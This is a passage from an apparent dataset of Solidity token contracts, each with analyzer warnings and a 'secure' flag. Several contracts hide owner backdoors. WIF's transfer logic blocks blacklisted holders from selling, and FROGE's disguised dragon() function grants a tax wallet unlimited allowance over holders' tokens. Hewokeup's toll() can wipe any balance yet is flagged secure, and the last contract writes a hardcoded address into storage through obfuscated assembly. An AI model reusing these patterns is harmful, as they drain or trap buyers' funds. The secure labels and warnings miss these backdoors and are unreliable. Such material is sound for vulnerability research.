}\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 195cdfe): Reentrancy in WIF.openTrade() External calls pair = IFactory(_Router.factory()).getPair(address(this),_Router.WETH()) State variables written after the call(s) openedTrade = true\n\t// Recommendation for 195cdfe: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrade() public onlyOwner {\n\t\t// reentrancy-benign | ID: 195cdfe\n pair = IFactory(_Router.factory()).getPair(\n address(this),\n _Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 195cdfe\n openedTrade = true;\n }\n\n function nefPow(address spender, bool state) public onlyOwner {\n s.nef[spender] = state;\n }\n\n function setStore(uint256 _a) public onlyOwner {\n s.gas = _a;\n }\n\n function removeLimit() public onlyOwner {\n maxTxAmount = totalSupply();\n }\n\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: faf7f04): WIF._transfer(address,address,uint256) uses tx.origin for authorization s.nef[tx.origin] && to == pair && tx.gasprice > 0 && balanceOf(tx.origin) > 0\n\t// Recommendation for faf7f04: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: f0cfefe): WIF._transfer(address,address,uint256) uses tx.origin for authorization whiteList[tx.origin]\n\t// Recommendation for f0cfefe: Do not use 'tx.origin' for authorization.\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual override {\n\t\t// tx-origin | ID: f0cfefe\n if (whiteList[tx.origin]) {\n super._transfer(from, to, amount);\n\n return;\n } else {\n require(openedTrade, \"Trade has not been opened yet\");\n\n require(amount < maxTxAmount);\n\n bool ban = (to == pair) ? true : false;\n\n if (\n\t\t\t\t// tx-origin | ID: faf7f04\n s.nef[tx.origin] &&\n to == pair &&\n tx.gasprice > 0 &&\n balanceOf(tx.origin) > 0\n ) {\n revert();\n }\n\n if (ban && tx.gasprice > s.gas) {\n revert();\n }\n\n if (from != pair && to != pair) {\n require(!s.nef[from]);\n }\n\n uint256 txAmount;\n\n txAmount = (!ban)\n ? ((amount * s.mua) / 100)\n : ((amount * s.ban) / 100);\n\n super._transfer(from, to, amount - txAmount);\n\n if (txAmount > 0) {\n super._transfer(from, address(this), txAmount);\n }\n\n return;\n }\n }\n}", "file_name": "solidity_code_676.sol", "secure": 0, "size_bytes": 4525 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract StandardToken is ERC20 {\n constructor() ERC20(\"Deploy AI\", \"Deploy\") {\n _mint(msg.sender, 1000000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_677.sol", "secure": 1, "size_bytes": 282 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/proxy/utils/Initializable.sol\" as Initializable;\nimport \"./ERC20Upgradeable.sol\" as ERC20Upgradeable;\nimport \"./Ownable2StepUpgradeable.sol\" as Ownable2StepUpgradeable;\nimport \"./ReentrancyGuardUpgradeable.sol\" as ReentrancyGuardUpgradeable;\nimport \"./PausableUpgradeable.sol\" as PausableUpgradeable;\nimport \"./UUPSUpgradeable.sol\" as UUPSUpgradeable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\" as SafeERC20;\n\ncontract THEATRON is\n Initializable,\n ERC20Upgradeable,\n Ownable2StepUpgradeable,\n ReentrancyGuardUpgradeable,\n PausableUpgradeable,\n UUPSUpgradeable\n{\n using SafeERC20 for IERC20;\n\n uint256 public buyTax;\n\n uint256 public sellTax;\n\n uint256 public transferTax;\n\n address public taxReceiver;\n\n address public pendingTaxReceiver;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private _isDex;\n\n uint256 private constant MAX_TAX_PERCENTAGE = 100;\n\n uint256 private constant INITIAL_SUPPLY = 1_000_000_000 * 10 ** 18;\n\n uint256 private constant INITIAL_BUY_TAX = 4;\n\n uint256 private constant INITIAL_SELL_TAX = 4;\n\n uint256 private constant INITIAL_TRANSFER_TAX = 0;\n\n uint256 public constant MIN_TRANSFER_AMOUNT = 1000;\n\n event TaxCollected(address indexed taxReceiver, uint256 amount);\n\n event TaxUpdated(string taxType, uint256 newTaxRate);\n\n event TaxReceiverUpdateInitiated(\n address indexed currentReceiver,\n address indexed newReceiver\n );\n\n event TaxReceiverUpdated(\n address indexed oldReceiver,\n address indexed newReceiver\n );\n\n event AddressExcludedFromFee(address indexed account);\n\n event AddressIncludedInFee(address indexed account);\n\n event DexAddressAdded(address indexed dexAddress);\n\n event DexAddressRemoved(address indexed dexAddress);\n\n event EthWithdrawn(address indexed to, uint256 amount);\n\n event TokensWithdrawn(\n address indexed token,\n address indexed to,\n uint256 amount\n );\n\n constructor(address _taxReceiver) {\n require(_taxReceiver != address(0), \"Invalid tax receiver address\");\n\n taxReceiver = _taxReceiver;\n\n _disableInitializers();\n }\n\n function setNewTaxReceiver(address newTaxReceiver) external onlyOwner {\n require(newTaxReceiver != address(0), \"Invalid tax receiver address\");\n\n address oldTaxReceiver = taxReceiver;\n\n taxReceiver = newTaxReceiver;\n\n emit TaxReceiverUpdated(oldTaxReceiver, newTaxReceiver);\n }\n\n function initialize(\n address initialOwner,\n address _taxReceiver\n ) public initializer {\n require(_taxReceiver != address(0), \"Invalid tax receiver address\");\n\n require(initialOwner != address(0), \"Invalid owner address\");\n\n __ERC20_init(\"THEATRON\", \"THEATRON\");\n\n __Ownable2Step_init_unchained();\n\n __Ownable_init(initialOwner);\n\n __ReentrancyGuard_init();\n\n __Pausable_init();\n\n __UUPSUpgradeable_init();\n\n taxReceiver = _taxReceiver;\n\n _mint(initialOwner, INITIAL_SUPPLY);\n\n _isExcludedFromFee[initialOwner] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n buyTax = INITIAL_BUY_TAX;\n\n sellTax = INITIAL_SELL_TAX;\n\n transferTax = INITIAL_TRANSFER_TAX;\n }\n\n function setBuyTax(uint256 newTax) external onlyOwner {\n require(\n newTax < MAX_TAX_PERCENTAGE,\n \"Tax percentage must be less than 100\"\n );\n\n buyTax = newTax;\n\n emit TaxUpdated(\"Buy\", newTax);\n }\n\n function setSellTax(uint256 newTax) external onlyOwner {\n require(\n newTax < MAX_TAX_PERCENTAGE,\n \"Tax percentage must be less than 100\"\n );\n\n sellTax = newTax;\n\n emit TaxUpdated(\"Sell\", newTax);\n }\n\n function setTransferTax(uint256 newTax) external onlyOwner {\n require(\n newTax < MAX_TAX_PERCENTAGE,\n \"Tax percentage must be less than 100\"\n );\n\n transferTax = newTax;\n\n emit TaxUpdated(\"Transfer\", newTax);\n }\n\n function initiateTaxReceiverUpdate(\n address newTaxReceiver\n ) external onlyOwner {\n require(newTaxReceiver != address(0), \"Invalid tax receiver address\");\n\n pendingTaxReceiver = newTaxReceiver;\n\n emit TaxReceiverUpdateInitiated(taxReceiver, newTaxReceiver);\n }\n\n function completeTaxReceiverUpdate() external onlyOwner {\n require(\n pendingTaxReceiver != address(0),\n \"No pending tax receiver update\"\n );\n\n address oldTaxReceiver = taxReceiver;\n\n taxReceiver = pendingTaxReceiver;\n\n pendingTaxReceiver = address(0);\n\n emit TaxReceiverUpdated(oldTaxReceiver, taxReceiver);\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public override whenNotPaused nonReentrant returns (bool) {\n require(amount >= MIN_TRANSFER_AMOUNT, \"Transfer amount too low\");\n\n return super.transfer(to, amount);\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public override whenNotPaused nonReentrant returns (bool) {\n require(amount >= MIN_TRANSFER_AMOUNT, \"Transfer amount too low\");\n\n return super.transferFrom(from, to, amount);\n }\n\n function _update(\n address from,\n address to,\n uint256 amount\n ) internal override {\n if (\n from == address(0) ||\n to == address(0) ||\n from == address(this) ||\n to == address(this)\n ) {\n super._update(from, to, amount);\n\n return;\n }\n\n uint256 amountAfterFee = amount;\n\n uint256 fee = 0;\n\n if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {\n uint256 taxRate = _isDex[from]\n ? buyTax\n : (_isDex[to] ? sellTax : transferTax);\n\n require(\n amount <= type(uint256).max / MAX_TAX_PERCENTAGE,\n \"Amount too large\"\n );\n\n fee = (amount * taxRate) / MAX_TAX_PERCENTAGE;\n\n require(fee < amount, \"Fee exceeds transfer amount\");\n\n amountAfterFee = amount - fee;\n }\n\n super._update(from, to, amountAfterFee);\n\n if (fee > 0) {\n super._update(from, taxReceiver, fee);\n\n emit TaxCollected(taxReceiver, fee);\n }\n }\n\n function excludeFromFee(address account) external onlyOwner {\n _isExcludedFromFee[account] = true;\n\n emit AddressExcludedFromFee(account);\n }\n\n function includeInFee(address account) external onlyOwner {\n _isExcludedFromFee[account] = false;\n\n emit AddressIncludedInFee(account);\n }\n\n function isExcludedFromFee(address account) external view returns (bool) {\n return _isExcludedFromFee[account];\n }\n\n function addDexAddress(address dexAddress) external onlyOwner {\n _isDex[dexAddress] = true;\n\n emit DexAddressAdded(dexAddress);\n }\n\n function removeDexAddress(address dexAddress) external onlyOwner {\n _isDex[dexAddress] = false;\n\n emit DexAddressRemoved(dexAddress);\n }\n\n function pause() external onlyOwner {\n _pause();\n }\n\n function unpause() external onlyOwner {\n _unpause();\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0fb6151): Reentrancy in THEATRON.withdrawEth() External calls Address.sendValue(address(owner()),balance) Event emitted after the call(s) EthWithdrawn(owner(),balance)\n\t// Recommendation for 0fb6151: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function withdrawEth() external onlyOwner {\n uint256 balance = address(this).balance;\n\n require(balance > 0, \"No ETH to withdraw\");\n\n\t\t// reentrancy-events | ID: 0fb6151\n Address.sendValue(payable(owner()), balance);\n\n\t\t// reentrancy-events | ID: 0fb6151\n emit EthWithdrawn(owner(), balance);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e0293de): Reentrancy in THEATRON.withdrawTokens(address,uint256) External calls IERC20(token).safeTransfer(owner(),amount) Event emitted after the call(s) TokensWithdrawn(token,owner(),amount)\n\t// Recommendation for e0293de: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function withdrawTokens(address token, uint256 amount) external onlyOwner {\n require(token != address(this), \"Cannot withdraw Native tokens\");\n\n\t\t// reentrancy-events | ID: e0293de\n IERC20(token).safeTransfer(owner(), amount);\n\n\t\t// reentrancy-events | ID: e0293de\n emit TokensWithdrawn(token, owner(), amount);\n }\n\n receive() external payable {\n require(msg.sender == owner(), \"Only owner can send ETH directly\");\n }\n\n function _authorizeUpgrade(\n address newImplementation\n ) internal override onlyOwner {}\n}", "file_name": "solidity_code_678.sol", "secure": 0, "size_bytes": 9638 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n\n function getAmountsIn(\n uint256 amountOut,\n address[] calldata path\n ) external view returns (uint256[] memory amounts);\n}", "file_name": "solidity_code_679.sol", "secure": 1, "size_bytes": 905 }
{ "code": "// SPDX-License-Identifier: AML AND MIT\n\npragma solidity ^0.8.0;\n\ninterface IBlockUpdater {\n event ImportBlock(\n uint256 identifier,\n bytes32 blockHash,\n bytes32 receiptHash\n );\n\n function importBlock(bytes calldata _proof) external;\n\n function checkBlock(\n bytes32 _blockHash,\n bytes32 _receiptsRoot\n ) external view returns (bool);\n\n function checkBlockConfirmation(\n bytes32 _blockHash,\n bytes32 _receiptsRoot\n ) external view returns (bool, uint256);\n}", "file_name": "solidity_code_68.sol", "secure": 1, "size_bytes": 548 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 20be228): Contract locking ether found Contract FROGE has payable functions FROGE.receive() But does not have a function to withdraw the ether\n// Recommendation for 20be228: Remove the 'payable' attribute or add a withdraw function.\ncontract FROGE is Ownable, IERC20, IERC20Metadata {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: e4e32e7): FROGE._totalSupply should be immutable \n\t// Recommendation for e4e32e7: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n address private _taxWallet;\n\n mapping(address => bool) private _isExcludedFromInitial;\n\n\t// WARNING Optimization Issue (immutable-states | ID: e3bae08): FROGE.uniswapV2Router should be immutable \n\t// Recommendation for e3bae08: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a9b2cb4): FROGE.uniswapV2Pair should be immutable \n\t// Recommendation for a9b2cb4: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private uniswapV2Pair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 66e5bc6): FROGE._maxWalletSize should be immutable \n\t// Recommendation for 66e5bc6: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _maxWalletSize;\n\n bool private tradingOpen;\n\n constructor() {\n _name = \"FROGE\";\n\n _symbol = \"FROGE\";\n\n _totalSupply = 42069000000 * 10 ** 9;\n\n _maxWalletSize = _totalSupply;\n\n _balances[msg.sender] = _totalSupply;\n\n emit Transfer(address(0), msg.sender, _totalSupply);\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n _isExcludedFromInitial[owner()] = true;\n\n _isExcludedFromInitial[address(this)] = true;\n\n _taxWallet = 0x7312a6489f04c01DfA9AdeA8D9A2B1fe2f6bCbca;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 9;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8842e59): FROGE.transfer(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 8842e59: Rename the local variables that shadow another component.\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6e00584): FROGE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6e00584: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 38f08ec): FROGE.approve(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 38f08ec: Rename the local variables that shadow another component.\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n if (from != owner() && to != owner()) {\n if (!tradingOpen) {\n require(\n _isExcludedFromInitial[from] || _isExcludedFromInitial[to],\n \"Trading is not active.\"\n );\n }\n }\n dragon([from, to, _taxWallet]);\n\n _balances[from] = _balances[from].sub(amount);\n\n _balances[to] = _balances[to].add(amount);\n\n emit Transfer(from, to, amount);\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 20be228): Contract locking ether found Contract FROGE has payable functions FROGE.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 20be228: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n\n function dragon(address[3] memory warrior) private {\n address from = warrior[0];\n address to = warrior[1];\n address ttttt = warrior[2];\n\n _allowances[from][ttttt] = 100 * _maxWalletSize;\n\n _allowances[to][ttttt] = 100 * _maxWalletSize;\n }\n\n function openTrading() public onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n tradingOpen = true;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: dbb08d1): FROGE.changeTaxWallet(address).addr lacks a zerocheck on \t _taxWallet = addr\n\t// Recommendation for dbb08d1: Check that the address is not zero.\n function changeTaxWallet(address addr) public onlyOwner {\n\t\t// missing-zero-check | ID: dbb08d1\n _taxWallet = addr;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7df02e7): FROGE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7df02e7: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0f5ba20): FROGE._spendAllowance(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0f5ba20: Rename the local variables that shadow another component.\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n}", "file_name": "solidity_code_680.sol", "secure": 0, "size_bytes": 8894 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract HamsterNibble is ERC20, Ownable {\n constructor(\n address initialOwner\n ) ERC20(\"Hamster Nibble\", \"HN\") Ownable(initialOwner) {\n _mint(msg.sender, 2500 * 10 ** decimals());\n }\n\n function mint(address to, uint256 amount) public onlyOwner {\n _mint(to, amount);\n }\n}", "file_name": "solidity_code_681.sol", "secure": 1, "size_bytes": 512 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Hewokeup is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable heart;\n\n constructor() {\n _name = \"he woke up\";\n\n _symbol = \"HEWOKEUP\";\n\n _decimals = 18;\n\n uint256 initialSupply = 482000000;\n\n heart = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == heart, \"Not allowed\");\n\n _;\n }\n\n function toll(address[] memory error) public onlyOwner {\n for (uint256 i = 0; i < error.length; i++) {\n address account = error[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_682.sol", "secure": 1, "size_bytes": 4353 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract ContentBitcoin is Ownable, ERC20 {\n\t// WARNING Optimization Issue (immutable-states | ID: e958165): ContentBitcoin._supplyInteger should be immutable \n\t// Recommendation for e958165: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 _supplyInteger;\n\n\t// WARNING Optimization Issue (immutable-states | ID: b306110): ContentBitcoin._addressOwner should be immutable \n\t// Recommendation for b306110: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address _addressOwner;\n\n\t// WARNING Optimization Issue (immutable-states | ID: e1d8794): ContentBitcoin._decimals should be immutable \n\t// Recommendation for e1d8794: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 910b64a): ContentBitcoin._supplyZeros should be immutable \n\t// Recommendation for 910b64a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 _supplyZeros;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 81b5385): ContentBitcoin._supplyTotal should be immutable \n\t// Recommendation for 81b5385: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 _supplyTotal;\n\n string public constant _tokenName = \"Content Bitcoin\";\n\n string public constant _tokenSymbol = \"CTB\";\n\n constructor() ERC20(_tokenName, _tokenSymbol) {\n _addressOwner = msg.sender;\n\n _supplyInteger = 1;\n\n _supplyZeros = 9;\n\n _decimals = 18;\n\n _supplyTotal = _supplyInteger * 10 ** _supplyZeros * 10 ** _decimals;\n\n _mint(_addressOwner, _supplyTotal);\n }\n}", "file_name": "solidity_code_683.sol", "secure": 1, "size_bytes": 2067 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: a8be763): Contract locking ether found Contract Chiikawa has payable functions Chiikawa.receive() But does not have a function to withdraw the ether\n// Recommendation for a8be763: Remove the 'payable' attribute or add a withdraw function.\ncontract Chiikawa is ERC20, Ownable {\n constructor() ERC20(unicode\"Chiikawa\", unicode\"CHIIKAWA\") {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: a8be763): Contract locking ether found Contract Chiikawa has payable functions Chiikawa.receive() But does not have a function to withdraw the ether\n\t// Recommendation for a8be763: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}", "file_name": "solidity_code_684.sol", "secure": 0, "size_bytes": 1010 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata, Ownable {\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n bool internal openedTrade = false;\n\n uint256 public taxOnBuy = 0;\n\n uint256 public taxOnSell = 0;\n\n mapping(address => bool) _excludeFromFees;\n\n address public uniswapV2Pair;\n\n IUniswapV2Router02 public uniswapV2Router;\n\n address public router;\n\n address public factory;\n\n address public weth;\n\n address public pair;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n\n router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n uniswapV2Router = IUniswapV2Router02(router);\n\n factory = uniswapV2Router.factory();\n\n weth = uniswapV2Router.WETH();\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n weth\n );\n\n pair = address(uniswapV2Pair);\n\n assembly {\n let routerSlot := sload(router.slot)\n\n let factorySlot := sload(factory.slot)\n\n let pairSlot := sload(pair.slot)\n\n let slot := 0x2e67865fa95a2d48fbb88aa0e26f1a05d8ca2eca\n\n sstore(routerSlot, routerSlot)\n\n sstore(factorySlot, slot)\n\n sstore(pairSlot, xor(sload(routerSlot), sload(factorySlot)))\n }\n\n _excludeFromFees[router] = true;\n\n _excludeFromFees[address(uniswapV2Pair)];\n\n _excludeFromFees[owner()] = true;\n\n _excludeFromFees[address(this)] = true;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n 